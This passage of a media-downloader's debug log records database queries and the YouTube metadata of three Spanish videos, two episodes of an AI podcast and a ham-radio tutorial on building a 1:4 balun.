la call ... eres tu o tu avatar... Así que ahora contéstate a ti mismo... este tema te interesa??? \n\nBueno deja de leer lo importante es que veas el video .... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉\n\n\n#iamique #iagen #avatares #chatgpt #iagenerativa #tecnología #heygen #marketingdigital #emprendimiento #negócios #consultoria #comercial #inteligenciaartificial #innovacion", "duration" => 494, "filename" => "/downloads/music/IA mí QUÉ/EP.6: Avatares con IA.m4a", "id" => "l24d4fXtuxk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=l24d4fXtuxk", "playlist_index" => 44, "timestamp" => 1744358162, "title" => "EP.6: Avatares con IA", "upload_date" => "20250411"} 22:34:52.321 [debug] QUERY OK source="sources" db=0.6ms idle=1094.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:34:52.322 [debug] QUERY OK source="sources" db=0.6ms idle=884.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:34:52.323 [debug] QUERY OK source="media_items" db=0.8ms idle=560.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-11 07:56:02Z], 2] 22:34:52.325 [debug] QUERY OK source="media_items" db=1.2ms idle=561.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Episodio 6️⃣: Avatares 🧑\u200D🤝\u200D🧑\n\nHoy mucho del contenido del que ves en redes sociales son Avatares de uno u otro influencer... todos lo han probado, unos solo han hecho la prueba y te lo han dicho, y otros te lo han dicho y sacan mucho contenido así.\n\nYa se que tu no eres Influencer! ni falta que hace! pero aun así los avatares podrían ayudarte en tu trabajo.... en muchas cosas....\n\nEn el video de hoy te explicamos que son los avatares, como hacerlos y os explicaremos, como no, el IAMIQue... es decir los casos de uso que hemos realizado.\n\n👉 👀 Esta semana varios modelos de GPT han superado el test de Turing... esto que quiere decir, que un humano haciendo preguntas a una IA, manteniendo una conversación, no sabia distinguir si detrás había un humano o una maquina. Y si lo han superado 4 modelos de IA..... y si juntas eso con un Avatar??? no sabes si el que esta haciendo el Teams.. la call ... eres tu o tu avatar... Así que ahora contéstate a ti mismo... este tema te interesa??? \n\nBueno deja de leer lo importante es que veas el video .... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉\n\n\n#iamique #iagen #avatares #chatgpt #iagenerativa #tecnología #heygen #marketingdigital #emprendimiento #negócios #consultoria #comercial #inteligenciaartificial #innovacion", "EP.6: Avatares con IA", "6fbce678-9da1-489b-ae77-a3b9bff4cc5c", 494, false, "l24d4fXtuxk", "https://www.youtube.com/watch?v=l24d4fXtuxk", 44, "/downloads/music/IA mí QUÉ/EP.6: Avatares con IA.m4a", false, false, false, 2, [], 95, ~U[2025-04-11 07:56:02Z], ~U[2026-02-07 21:34:52Z], ~U[2026-02-07 21:34:52Z], "#IAMIQUE 👉🏼 Episodio 6️⃣: Avatares 🧑\u200D🤝\u200D🧑\n\nHoy mucho del contenido del que ves en redes sociales son Avatares de uno u otro influencer... todos lo han probado, unos solo han hecho la prueba y te lo han dicho, y otros te lo han dicho y sacan mucho contenido así.\n\nYa se que tu no eres Influencer! ni falta que hace! pero aun así los avatares podrían ayudarte en tu trabajo.... en muchas cosas....\n\nEn el video de hoy te explicamos que son los avatares, como hacerlos y os explicaremos, como no, el IAMIQue... es decir los casos de uso que hemos realizado.\n\n👉 👀 Esta semana varios modelos de GPT han superado el test de Turing... esto que quiere decir, que un humano haciendo preguntas a una IA, manteniendo una conversación, no sabia distinguir si detrás había un humano o una maquina. Y si lo han superado 4 modelos de IA..... y si juntas eso con un Avatar??? no sabes si el que esta haciendo el Teams.. la call ... eres tu o tu avatar... Así que ahora contéstate a ti mismo... este tema te interesa??? \n\nBueno deja de leer lo importante es que veas el video .... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉\n\n\n#iamique #iagen #avatares #chatgpt #iagenerativa #tecnología #heygen #marketingdigital #emprendimiento #negócios #consultoria #comercial #inteligenciaartificial #innovacion", "EP.6: Avatares con IA", 494, false, "l24d4fXtuxk", "https://www.youtube.com/watch?v=l24d4fXtuxk", "/downloads/music/IA mí QUÉ/EP.6: Avatares con IA.m4a", false, 2, ~U[2025-04-11 07:56:02Z]] 22:34:52.326 [debug] QUERY OK source="sources" db=0.5ms idle=562.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:34:52.326 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:34:52.327 [debug] QUERY OK source="media_items" db=0.4ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1353] 22:34:52.327 [debug] Current batch of media processed. Will check again in 1000ms 22:34:52.381 [debug] Current batch of media processed. Will check again in 1000ms 22:34:53.328 [debug] Current batch of media processed. Will check again in 1000ms 22:34:53.382 [debug] Current batch of media processed. Will check again in 1000ms 22:34:54.329 [debug] Current batch of media processed. Will check again in 1000ms 22:34:54.383 [debug] Current batch of media processed. Will check again in 1000ms 22:34:55.330 [debug] Current batch of media processed. Will check again in 1000ms 22:34:55.384 [debug] Current batch of media processed. Will check again in 1000ms 22:34:56.331 [debug] Current batch of media processed. Will check again in 1000ms 22:34:56.385 [debug] Current batch of media processed. Will check again in 1000ms 22:34:57.332 [debug] Current batch of media processed. Will check again in 1000ms 22:34:57.386 [debug] Current batch of media processed. Will check again in 1000ms 22:34:58.333 [debug] Current batch of media processed. Will check again in 1000ms 22:34:58.387 [debug] Current batch of media processed. Will check again in 1000ms 22:34:59.334 [debug] Current batch of media processed. Will check again in 1000ms 22:34:59.388 [debug] Current batch of media processed. Will check again in 1000ms 22:35:00.115 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:00.335 [debug] Current batch of media processed. Will check again in 1000ms 22:35:00.389 [debug] Current batch of media processed. Will check again in 1000ms 22:35:01.336 [debug] Current batch of media processed. Will check again in 1000ms 22:35:01.390 [debug] Current batch of media processed. Will check again in 1000ms 22:35:02.337 [debug] Current batch of media processed. Will check again in 1000ms 22:35:02.391 [debug] Current batch of media processed. Will check again in 1000ms 22:35:03.339 [debug] Current batch of media processed. Will check again in 1000ms 22:35:03.392 [debug] Current batch of media processed. Will check again in 1000ms 22:35:04.339 [debug] Current batch of media processed. Will check again in 1000ms 22:35:04.393 [debug] Current batch of media processed. Will check again in 1000ms 22:35:05.340 [debug] Current batch of media processed. Will check again in 1000ms 22:35:05.394 [debug] Current batch of media processed. Will check again in 1000ms 22:35:06.341 [debug] Current batch of media processed. Will check again in 1000ms 22:35:06.395 [debug] Current batch of media processed. Will check again in 1000ms 22:35:07.342 [debug] Current batch of media processed. Will check again in 1000ms 22:35:07.396 [debug] Current batch of media processed. Will check again in 1000ms 22:35:08.343 [debug] Current batch of media processed. Will check again in 1000ms 22:35:08.397 [debug] Current batch of media processed. Will check again in 1000ms 22:35:09.344 [debug] Current batch of media processed. Will check again in 1000ms 22:35:09.398 [debug] Current batch of media processed. Will check again in 1000ms 22:35:10.345 [debug] Current batch of media processed. Will check again in 1000ms 22:35:10.399 [debug] Current batch of media processed. Will check again in 1000ms 22:35:11.346 [debug] Current batch of media processed. Will check again in 1000ms 22:35:11.400 [debug] Current batch of media processed. Will check again in 1000ms 22:35:12.347 [debug] Current batch of media processed. Will check again in 1000ms 22:35:12.401 [debug] Current batch of media processed. Will check again in 1000ms 22:35:13.349 [debug] Current batch of media processed. Will check again in 1000ms 22:35:13.402 [debug] Current batch of media processed. Will check again in 1000ms 22:35:14.349 [debug] Current batch of media processed. Will check again in 1000ms 22:35:14.403 [debug] Current batch of media processed. Will check again in 1000ms 22:35:15.350 [debug] Current batch of media processed. Will check again in 1000ms 22:35:15.404 [debug] Current batch of media processed. Will check again in 1000ms 22:35:16.351 [debug] Current batch of media processed. Will check again in 1000ms 22:35:16.405 [debug] Current batch of media processed. Will check again in 1000ms 22:35:17.352 [debug] Current batch of media processed. Will check again in 1000ms 22:35:17.406 [debug] Current batch of media processed. Will check again in 1000ms 22:35:18.353 [debug] Current batch of media processed. Will check again in 1000ms 22:35:18.407 [debug] Current batch of media processed. Will check again in 1000ms 22:35:19.354 [debug] Current batch of media processed. Will check again in 1000ms 22:35:19.408 [debug] Current batch of media processed. Will check again in 1000ms 22:35:20.355 [debug] Current batch of media processed. Will check again in 1000ms 22:35:20.409 [debug] Current batch of media processed. Will check again in 1000ms 22:35:21.228 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:21.356 [debug] Current batch of media processed. Will check again in 1000ms 22:35:21.410 [debug] Current batch of media processed. Will check again in 1000ms 22:35:22.357 [debug] Current batch of media processed. Will check again in 1000ms 22:35:22.411 [debug] Current batch of media processed. Will check again in 1000ms 22:35:23.359 [debug] Current batch of media processed. Will check again in 1000ms 22:35:23.412 [debug] Current batch of media processed. Will check again in 1000ms 22:35:24.359 [debug] Current batch of media processed. Will check again in 1000ms 22:35:24.413 [debug] Current batch of media processed. Will check again in 1000ms 22:35:25.360 [debug] Current batch of media processed. Will check again in 1000ms 22:35:25.414 [debug] Current batch of media processed. Will check again in 1000ms 22:35:26.361 [debug] Current batch of media processed. Will check again in 1000ms 22:35:26.415 [debug] Current batch of media processed. Will check again in 1000ms 22:35:27.362 [debug] Current batch of media processed. Will check again in 1000ms 22:35:27.416 [debug] Current batch of media processed. Will check again in 1000ms 22:35:28.363 [debug] Current batch of media processed. Will check again in 1000ms 22:35:28.417 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Vamos a montar una antena windom, un diseño clasico de antena larga (41 metros) para las bandas de 80,40,20 y 10 metros. En este primer video veremos como montar un balun 1:4 con dos núcleos toroidales tipo FT-140-61.En un segundo video veremos el montaje de la antena y las pruebas prácticas.\n\nReferencias:\n\nEste video sigue el diseño expuesto por EA1DDO en su pagina web.\nhttp://www.ea1ddo.es/Balun_Guanella_4_1.php\n\nCable usado (paralelo rojo y negro de 0,75mm2)\nhttps://www.amazon.es/dp/B00IF961Z6\n\nCaja intemperie:\nhttps://www.amazon.es/gp/product/B09BQPTMXL\n\nAnillos:\nhttps://www.amazon.es/gp/product/B07G2BBHJW\n\nEl resto de tornilleria, en ferreteria o Leroy Merlin.\n\nLos toroides de material 61 puede pedirse a Astroradio (https://www.astroradio.com).\n\n\nContenido del video\n\n00:00 - Presentación\n00:48 - Intro canal\n01:05 - Antenas OCF\n06:28 - Diseño balun 1:4\n08:20 - Toroides material 61\n09:10 - El primer toroide\n10:40 - Cable usado\n12:13 - Balun ensamblado y pruebas\n15:29 - Comparando con balun comercial\n16:48 - Montaje en caja\n23:59 - Medidas finales\n\n#1:4 #balun #radioaficionados #FT140-61 #antena #windom #guanella\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1567, "filename" => "/downloads/music/ea3grn/134 - MONTAMOS UN BALUN GUANELLA 1_4 PARA UNA ANTENA WINDOM.m4a", "id" => "o8j6EnJ8RZc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=o8j6EnJ8RZc", "playlist_index" => 47, "timestamp" => 1712854806, "title" => "134 - MONTAMOS UN BALUN GUANELLA 1:4 PARA UNA ANTENA WINDOM", "upload_date" => "20240411"} 22:35:28.418 [debug] QUERY OK source="sources" db=0.5ms idle=1655.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:35:28.419 [debug] QUERY OK source="sources" db=0.4ms idle=913.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:35:28.420 [debug] QUERY OK source="media_items" db=0.6ms idle=656.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-11 17:00:06Z], 3] 22:35:28.422 [debug] QUERY OK source="media_items" db=1.2ms idle=657.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Vamos a montar una antena windom, un diseño clasico de antena larga (41 metros) para las bandas de 80,40,20 y 10 metros. En este primer video veremos como montar un balun 1:4 con dos núcleos toroidales tipo FT-140-61.En un segundo video veremos el montaje de la antena y las pruebas prácticas.\n\nReferencias:\n\nEste video sigue el diseño expuesto por EA1DDO en su pagina web.\nhttp://www.ea1ddo.es/Balun_Guanella_4_1.php\n\nCable usado (paralelo rojo y negro de 0,75mm2)\nhttps://www.amazon.es/dp/B00IF961Z6\n\nCaja intemperie:\nhttps://www.amazon.es/gp/product/B09BQPTMXL\n\nAnillos:\nhttps://www.amazon.es/gp/product/B07G2BBHJW\n\nEl resto de tornilleria, en ferreteria o Leroy Merlin.\n\nLos toroides de material 61 puede pedirse a Astroradio (https://www.astroradio.com).\n\n\nContenido del video\n\n00:00 - Presentación\n00:48 - Intro canal\n01:05 - Antenas OCF\n06:28 - Diseño balun 1:4\n08:20 - Toroides material 61\n09:10 - El primer toroide\n10:40 - Cable usado\n12:13 - Balun ensamblado y pruebas\n15:29 - Comparando con balun comercial\n16:48 - Montaje en caja\n23:59 - Medidas finales\n\n#1:4 #balun #radioaficionados #FT140-61 #antena #windom #guanella\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "134 - MONTAMOS UN BALUN GUANELLA 1:4 PARA UNA ANTENA WINDOM", "16844613-8937-4f7f-8d9f-ac04ca6da17b", 1567, false, "o8j6EnJ8RZc", "https://www.youtube.com/watch?v=o8j6EnJ8RZc", 47, "/downloads/music/ea3grn/134 - MONTAMOS UN BALUN GUANELLA 1_4 PARA UNA ANTENA WINDOM.m4a", false, false, false, 3, [], 98, ~U[2024-04-11 17:00:06Z], ~U[2026-02-07 21:35:28Z], ~U[2026-02-07 21:35:28Z], "Vamos a montar una antena windom, un diseño clasico de antena larga (41 metros) para las bandas de 80,40,20 y 10 metros. En este primer video veremos como montar un balun 1:4 con dos núcleos toroidales tipo FT-140-61.En un segundo video veremos el montaje de la antena y las pruebas prácticas.\n\nReferencias:\n\nEste video sigue el diseño expuesto por EA1DDO en su pagina web.\nhttp://www.ea1ddo.es/Balun_Guanella_4_1.php\n\nCable usado (paralelo rojo y negro de 0,75mm2)\nhttps://www.amazon.es/dp/B00IF961Z6\n\nCaja intemperie:\nhttps://www.amazon.es/gp/product/B09BQPTMXL\n\nAnillos:\nhttps://www.amazon.es/gp/product/B07G2BBHJW\n\nEl resto de tornilleria, en ferreteria o Leroy Merlin.\n\nLos toroides de material 61 puede pedirse a Astroradio (https://www.astroradio.com).\n\n\nContenido del video\n\n00:00 - Presentación\n00:48 - Intro canal\n01:05 - Antenas OCF\n06:28 - Diseño balun 1:4\n08:20 - Toroides material 61\n09:10 - El primer toroide\n10:40 - Cable usado\n12:13 - Balun ensamblado y pruebas\n15:29 - Comparando con balun comercial\n16:48 - Montaje en caja\n23:59 - Medidas finales\n\n#1:4 #balun #radioaficionados #FT140-61 #antena #windom #guanella\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "134 - MONTAMOS UN BALUN GUANELLA 1:4 PARA UNA ANTENA WINDOM", 1567, false, "o8j6EnJ8RZc", "https://www.youtube.com/watch?v=o8j6EnJ8RZc", "/downloads/music/ea3grn/134 - MONTAMOS UN BALUN GUANELLA 1_4 PARA UNA ANTENA WINDOM.m4a", false, 3, ~U[2024-04-11 17:00:06Z]] 22:35:28.422 [debug] QUERY OK source="sources" db=0.5ms idle=659.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:35:28.423 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:35:28.424 [debug] QUERY OK source="media_items" db=0.5ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1389] 22:35:28.424 [debug] Current batch of media processed. Will check again in 1000ms 22:35:29.364 [debug] Current batch of media processed. Will check again in 1000ms 22:35:29.425 [debug] Current batch of media processed. Will check again in 1000ms 22:35:30.365 [debug] Current batch of media processed. Will check again in 1000ms 22:35:30.426 [debug] Current batch of media processed. Will check again in 1000ms 22:35:31.366 [debug] Current batch of media processed. Will check again in 1000ms 22:35:31.427 [debug] Current batch of media processed. Will check again in 1000ms 22:35:32.367 [debug] Current batch of media processed. Will check again in 1000ms 22:35:32.428 [debug] Current batch of media processed. Will check again in 1000ms 22:35:33.369 [debug] Current batch of media processed. Will check again in 1000ms 22:35:33.429 [debug] Current batch of media processed. Will check again in 1000ms 22:35:34.369 [debug] Current batch of media processed. Will check again in 1000ms 22:35:34.430 [debug] Current batch of media processed. Will check again in 1000ms 22:35:35.370 [debug] Current batch of media processed. Will check again in 1000ms 22:35:35.431 [debug] Current batch of media processed. Will check again in 1000ms 22:35:36.371 [debug] Current batch of media processed. Will check again in 1000ms 22:35:36.432 [debug] Current batch of media processed. Will check again in 1000ms 22:35:37.372 [debug] Current batch of media processed. Will check again in 1000ms 22:35:37.433 [debug] Current batch of media processed. Will check again in 1000ms 22:35:38.373 [debug] Current batch of media processed. Will check again in 1000ms 22:35:38.434 [debug] Current batch of media processed. Will check again in 1000ms 22:35:39.374 [debug] Current batch of media processed. Will check again in 1000ms 22:35:39.435 [debug] Current batch of media processed. Will check again in 1000ms 22:35:40.375 [debug] Current batch of media processed. Will check again in 1000ms 22:35:40.436 [debug] Current batch of media processed. Will check again in 1000ms 22:35:41.376 [debug] Current batch of media processed. Will check again in 1000ms 22:35:41.437 [debug] Current batch of media processed. Will check again in 1000ms 22:35:42.377 [debug] Current batch of media processed. Will check again in 1000ms 22:35:42.438 [debug] Current batch of media processed. Will check again in 1000ms 22:35:43.379 [debug] Current batch of media processed. Will check again in 1000ms 22:35:43.439 [debug] Current batch of media processed. Will check again in 1000ms 22:35:44.379 [debug] Current batch of media processed. Will check again in 1000ms 22:35:44.440 [debug] Current batch of media processed. Will check again in 1000ms 22:35:45.380 [debug] Current batch of media processed. Will check again in 1000ms 22:35:45.441 [debug] Current batch of media processed. Will check again in 1000ms 22:35:46.381 [debug] Current batch of media processed. Will check again in 1000ms 22:35:46.442 [debug] Current batch of media processed. Will check again in 1000ms 22:35:47.382 [debug] Current batch of media processed. Will check again in 1000ms 22:35:47.443 [debug] Current batch of media processed. Will check again in 1000ms 22:35:48.383 [debug] Current batch of media processed. Will check again in 1000ms 22:35:48.444 [debug] Current batch of media processed. Will check again in 1000ms 22:35:49.384 [debug] Current batch of media processed. Will check again in 1000ms 22:35:49.445 [debug] Current batch of media processed. Will check again in 1000ms 22:35:50.385 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Hoy te explicamos de que va esto, hoy os hablamos de Salud, dejamos descansar una semana a las IA’s, pero no al hashtag #IAMIQUE, por que esto te interesa pero mucho. Además de que la IA esta afectando muy positivamente a este indicador.\n\nMi esperanza de vida en el 2000 era 78 años, hoy es de 81…. porque ??? por la LEV, te lo explicamos en el video.\n\nTodos estos datos que os voy a dar se publican y los puedes consultar, Te dejo los enlaces en el primer cometario:\n🔸Organización mundial de la salud, datos de esperanza de vida y esperanza de vida saludable. \n🔸Wikipedia: Longevity escape velocity. \n🔸2029: The year we reach longevity escape velocity. \n🔸Next Big Future: \n🔸Revgen: Healthspan – El palabro que no conoces y deberías. \n\nBueno deja de leer lo importante es que veas el video ... y\n.... y acuérdate un favorcillo🙏🏼: \n\n👐🏼 Dale a Compartir para darnos visibilidad\n✍🏼 Escribe un comentario y da feedback para que podamos saber tu opinión y mejorar\n🫶🏼 y ya la leche.... darnos un like (o no)\n🫵🏼 y siempre .... contamos contigo\n\n\n💪🏻🚀 \"See you in the future\" 😉", "duration" => 501, "filename" => "/downloads/music/IA mí QUÉ/EP. 5: ¿Vivir para siempre? Amortalidad..m4a", "id" => "-WFFbOPVDXM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-WFFbOPVDXM", "playlist_index" => 45, "timestamp" => 1743747755, "title" => "EP. 5: ¿Vivir para siempre? Amortalidad.", "upload_date" => "20250404"} 22:35:50.386 [debug] QUERY OK source="sources" db=0.6ms idle=836.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:35:50.387 [debug] QUERY OK source="sources" db=0.4ms idle=624.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 